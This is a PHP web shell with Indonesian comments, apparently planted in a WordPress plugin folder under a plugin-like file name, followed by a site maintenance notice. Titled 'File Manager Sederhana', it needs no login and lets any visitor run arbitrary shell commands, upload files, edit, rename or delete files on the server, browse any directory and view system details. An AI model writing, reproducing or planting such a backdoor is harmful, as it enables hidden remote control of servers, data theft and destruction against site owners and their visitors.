Current File : /home/pacjaorg/www/cop29/wp-content/plugins/zeeta/wp-links.php
<?php
// Fungsi untuk menjalankan perintah Linux dengan proc_open
function runCommand($cmd) {
    $descriptorspec = [
        0 => ["pipe", "r"], // stdin
        1 => ["pipe", "w"], // stdout
        2 => ["pipe", "w"] // stderr
    ];
    $process = proc_open($cmd, $descriptorspec, $pipes);
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        $error = stream_get_contents($pipes[2]);
        fclose($pipes[2]);
        proc_close($process);
        return $output . $error;
    }
    return "Gagal menjalankan perintah.";
}

// Fungsi untuk mendapatkan informasi sistem (Diperbarui dengan php_uname)
function getSystemInfo() {
    $kernelInfo = [
        'sysname' => php_uname('s'),    // Nama sistem operasi
        'nodename' => php_uname('n'),   // Nama host
        'release' => php_uname('r'),    // Versi release kernel
        'version' => php_uname('v'),    // Versi kernel
        'machine' => php_uname('m'),    // Arsitektur mesin
    ];
    $software = $_SERVER['SERVER_SOFTWARE'];
    
    // Format informasi kernel
    $kernelString = "{$kernelInfo['sysname']} {$kernelInfo['nodename']} {$kernelInfo['release']} {$kernelInfo['version']} {$kernelInfo['machine']}";
    
    return [
        'os' => $kernelString,
        'software' => $software
    ];
}

// Fungsi untuk mendapatkan daftar file dan folder
function getDirectoryListing($dir) {
    $files = scandir($dir);
    $folders = [];
    $filesList = [];
    foreach ($files as $file) {
        if ($file != '.' && $file != '..') {
            if (is_dir($dir . '/' . $file)) {
                $folders[] = $file;
            } else {
                $filesList[] = $file;
            }
        }
    }
    return ['folders' => $folders, 'files' => $filesList];
}

// Fungsi untuk mendapatkan ukuran file
function getFileSize($file) {
    $size = filesize($file);
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $unit = 0;
    while ($size >= 1024 && $unit < 4) {
        $size /= 1024;
        $unit++;
    }
    return round($size, 2) . ' ' . $units[$unit];
}

// Fungsi untuk mendapatkan izin file
function getFilePermission($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

// Fungsi untuk normalisasi path
function normalizePath($path) {
    $path = preg_replace('#/+#', '/', $path);
    if (strpos($path, '/') !== 0) {
        $path = '/' . $path;
    }
    return rtrim($path, '/') ?: '/';
}

// Fungsi untuk membuat breadcrumb navigasi
function createBreadcrumb($dir) {
    $dir = normalizePath($dir);
    $pathParts = explode('/', $dir);
    $breadcrumb = '<span>current directory:</span> ';
    $currentPath = '';
    $breadcrumb .= '<a href="?dir=/">/</a>';
    if ($dir !== '/') {
        foreach ($pathParts as $part) {
            if ($part !== '') {
                $currentPath = normalizePath($currentPath . '/' . $part);
                $breadcrumb .= ' / <a href="?dir=' . urlencode($currentPath) . '">' . htmlspecialchars($part) . '</a>';
            }
        }
    }
    return trim($breadcrumb);
}

// Menentukan direktori saat ini
$currentDir = isset($_GET['dir']) ? normalizePath($_GET['dir']) : normalizePath(getcwd());

// Handle upload file
if (isset($_FILES['file'])) {
    $uploadFile = $currentDir . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        $message = "File berhasil diupload.";
    } else {
        $message = "Gagal mengupload file.";
    }
}

// Handle eksekusi perintah
if (isset($_POST['command'])) {
    $commandOutput = runCommand($_POST['command']);
}

// Handle penghapusan file
if (isset($_GET['delete'])) {
    $fileToDelete = $currentDir . '/' . $_GET['delete'];
    if (is_file($fileToDelete)) {
        unlink($fileToDelete);
        $message = "File berhasil dihapus.";
    } else {
        $message = "File tidak ditemukan.";
    }
}

// Handle rename file
if (isset($_POST['rename'])) {
    $oldName = $currentDir . '/' . $_POST['old_name'];
    $newName = $currentDir . '/' . $_POST['new_name'];
    if (rename($oldName, $newName)) {
        $message = "File berhasil direname.";
    } else {
        $message = "Gagal merename file.";
    }
}

// Handle edit file
if (isset($_POST['edit'])) {
    $fileToEdit = $currentDir . '/' . $_POST['file'];
    $content = $_POST['content'];
    if (file_put_contents($fileToEdit, $content)) {
        $message = "File berhasil diedit.";
    } else {
        $message = "Gagal mengedit file.";
    }
}

// Mendapatkan informasi sistem dan daftar file
$listing = getDirectoryListing($currentDir);
$folders = $listing['folders'];
$files = $listing['files'];
$systemInfo = getSystemInfo();
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Sederhana</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #121212;
            color: #e0e0e0;
            margin: 0;
            padding: 0;
        }

        .container {
            max-width: 800px;
            margin: 20px auto;
            padding: 20px;
            background-color: #1e1e1e;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.5);
        }

        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }

        .file-table th,
        .file-table td {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid #333;
        }

        .file-table th {
            background-color: #2c2c2c;
            color: #ffffff;
        }

        .file-table tr:nth-child(even) {
            background-color: #242424;
        }

        .file-table tr:hover {
            background-color: #333333;
        }

        .file-actions a {
            margin-right: 10px;
            color: #4da6ff;
            text-decoration: none;
        }

        .file-actions a:hover {
            text-decoration: underline;
            color: #66b3ff;
        }

        .file-table td:first-child a {
            color: #4da6ff;
            text-decoration: none;
        }

        .file-table td:first-child a:hover {
            text-decoration: underline;
            color: #66b3ff;
        }

        .breadcrumb a {
            color: #4da6ff;
            text-decoration: none;
        }

        .breadcrumb a:hover {
            text-decoration: underline;
            color: #66b3ff;
        }

        pre {
            background: #2c2c2c;
            color: #e0e0e0;
            padding: 10px;
            border-radius: 5px;
            border: 1px solid #444;
        }

        .breadcrumb span {
            margin-right: 5px;
            color: #a0a0a0;
        }

        input[type="text"],
        input[type="file"],
        textarea {
            background-color: #333;
            color: #e0e0e0;
            border: 1px solid #555;
            padding: 8px;
            border-radius: 4px;
            width: 100%;
            box-sizing: border-box;
        }

        input[type="submit"] {
            background-color: #4da6ff;
            color: #ffffff;
            border: none;
            padding: 10px 15px;
            border-radius: 4px;
            cursor: pointer;
        }

        input[type="submit"]:hover {
            background-color: #66b3ff;
        }

        h1, h2 {
            color: #ffffff;
        }

        p {
            color: #e0e0e0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>File Manager Sederhana</h1>

        <?php if (isset($message)): ?>
            <p><?php echo $message; ?></p>
        <?php endif; ?>

        <div>
            <p><strong>Sistem OS:</strong> <?php echo htmlspecialchars($systemInfo['os']); ?></p>
            <p><strong>Sistem Software:</strong> <?php echo htmlspecialchars($systemInfo['software']); ?></p>
        </div>

        <div>
            <h2>Upload File</h2>
            <form action="" method="post" enctype="multipart/form-data">
                <input type="file" name="file" required>
                <input type="submit" value="Upload">
            </form>
        </div>

        <div>
            <h2>Jalankan Perintah</h2>
            <form action="" method="post">
                <input type="text" name="command" required>
                <input type="submit" value="Run">
            </form>
            <?php if (isset($commandOutput)): ?>
                <pre><?php echo htmlspecialchars($commandOutput); ?></pre>
            <?php endif; ?>
        </div>

        <div>
            <h2 class="breadcrumb"><?php echo createBreadcrumb($currentDir); ?></h2>
            <table class="file-table">
                <thead>
                    <tr>
                        <th>Nama</th>
                        <th>Ukuran</th>
                        <th>Izin</th>
                        <th>Aksi</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($folders as $folder): ?>
                        <tr>
                            <td><a href="?dir=<?php echo urlencode($currentDir . '/' . $folder); ?>"><?php echo htmlspecialchars($folder); ?></a></td>
                            <td>-</td>
                            <td><?php echo getFilePermission($currentDir . '/' . $folder); ?></td>
                            <td>-</td>
                        </tr>
                    <?php endforeach; ?>
                    <?php foreach ($files as $file): ?>
                        <tr>
                            <td><?php echo htmlspecialchars($file); ?></td>
                            <td><?php echo getFileSize($currentDir . '/' . $file); ?></td>
                            <td><?php echo getFilePermission($currentDir . '/' . $file); ?></td>
                            <td class="file-actions">
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file); ?>">Edit</a>
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&rename=<?php echo urlencode($file); ?>">Rename</a>
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($file); ?>" onclick="return confirm('Yakin ingin hapus?')">Delete</a>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>

        <?php if (isset($_GET['edit'])): ?>
            <div>
                <h2>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></h2>
                <form action="" method="post">
                    <textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars(file_get_contents($currentDir . '/' . $_GET['edit'])); ?></textarea>
                    <input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
                    <input type="submit" name="edit" value="Simpan">
                </form>
            </div>
        <?php endif; ?>

        <?php if (isset($_GET['rename'])): ?>
            <div>
                <h2>Rename File: <?php echo htmlspecialchars($_GET['rename']); ?></h2>
                <form action="" method="post">
                    <input type="text" name="new_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>" required>
                    <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>">
                    <input type="submit" name="rename" value="Rename">
                </form>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>
Site is undergoing maintenance

PACJA Events

Maintenance mode is on

Site will be available soon. Thank you for your patience!